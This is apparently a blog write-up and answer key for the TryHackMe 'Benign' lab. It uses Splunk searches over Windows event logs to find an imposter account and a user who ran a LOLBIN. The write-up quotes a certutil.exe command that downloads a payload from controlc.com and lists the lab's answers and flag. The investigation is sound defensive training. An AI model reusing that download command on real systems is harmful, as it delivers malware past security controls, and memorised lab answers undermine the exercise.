Benign [TryHackMe]

Lab Link: https://tryhackme.com/room/benign

Task 1 Introduction

#1.1 Read above.

Answer: No answer needed

Task 2 Scenario: Identify and Investigate an Infected Host

#2.1 How many logs are ingested from the month of March 2022?

To respond to this question, we should use the next command in Splunk:

index=win_eventlogs

As we can see, we have 13959 events.

Answer: 13959

#2.2 Imposter Alert: There seems to be an imposter account observed in the logs, what is the name of that user?

To respond to this question, we should check the usernames and compare them with the list of people who are working in the company:

As we can see the username Amel1a has only 1 activity if you compare it with the others.

Answer: Amel1a

#2.3 Which user from the HR department was observed to be running scheduled tasks?

To respond to this question, we should use the next command in Splunk:

index=win_eventlogs (UserName=haroon OR chris.fort OR daina) schtasks.exe

As we can see our response is Chris.fort.

Answer:Chris.fort

#2.4 Which user from the HR department executed a system process (LOLBIN) to download a payload from a file-sharing host.

To respond to this question, we should use the next command in Splunk:

index=win_eventlogs (UserName=haroon OR chris.fort OR daina) ProcessName=”C:\\Windows\\System32\\certutil.exe”

As we can see we have only 1 event.

Get Valerie Tafur’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Our response is haroon.

Answer: haroon

#2.5 To bypass the security controls, which system process (lolbin) was used to download a payload from the internet?

To respond to this question, we should use the next command:

index=win_eventlogs (UserName=haroon OR chris.fort OR daina)

| table ProcessName CommandLine UserName

| dedup ProcessName

Then, I was looking through the processes and came across certutil.exe which was created by user haroon.

Answer: certutil.exe

#2.6 What was the date that this binary was executed by the infected host? format (YYYY-MM-DD)

To respond to this question, we should use the next command in Splunk:

certutil.exe -urlcache -f — https://controlc.com/548ab556 benign.exe

As we can see in the log the EventTime is 2022–03–04.

Answer:2022–03–04

#2.7 Which third-party site was accessed to download the malicious payload?

With the information we obtained for the last 3 questions, we can answer these next couple of questions quickly.

Answer: controlc.com

#2.8 What is the name of the file that was saved on the host machine from the C2 server during the post-exploitation phase?

With the information we obtained for the last 3 questions, we can answer these next couple of questions quickly.

Answer: benign.exe

#2.9 The suspicious file downloaded from the C2 server contained malicious content with the pattern THM {……….}; what is that pattern?

Enter the next link, to get our flag:

https://controlc.com/548ab556

Answer: THM{KJ&*H^B0}

#2.10 What is the URL that the infected host connected to?

Again, going back to the CommandLine shows that a connection was made to: https://controlc.com/548ab556

Answer: https://controlc.com/548ab556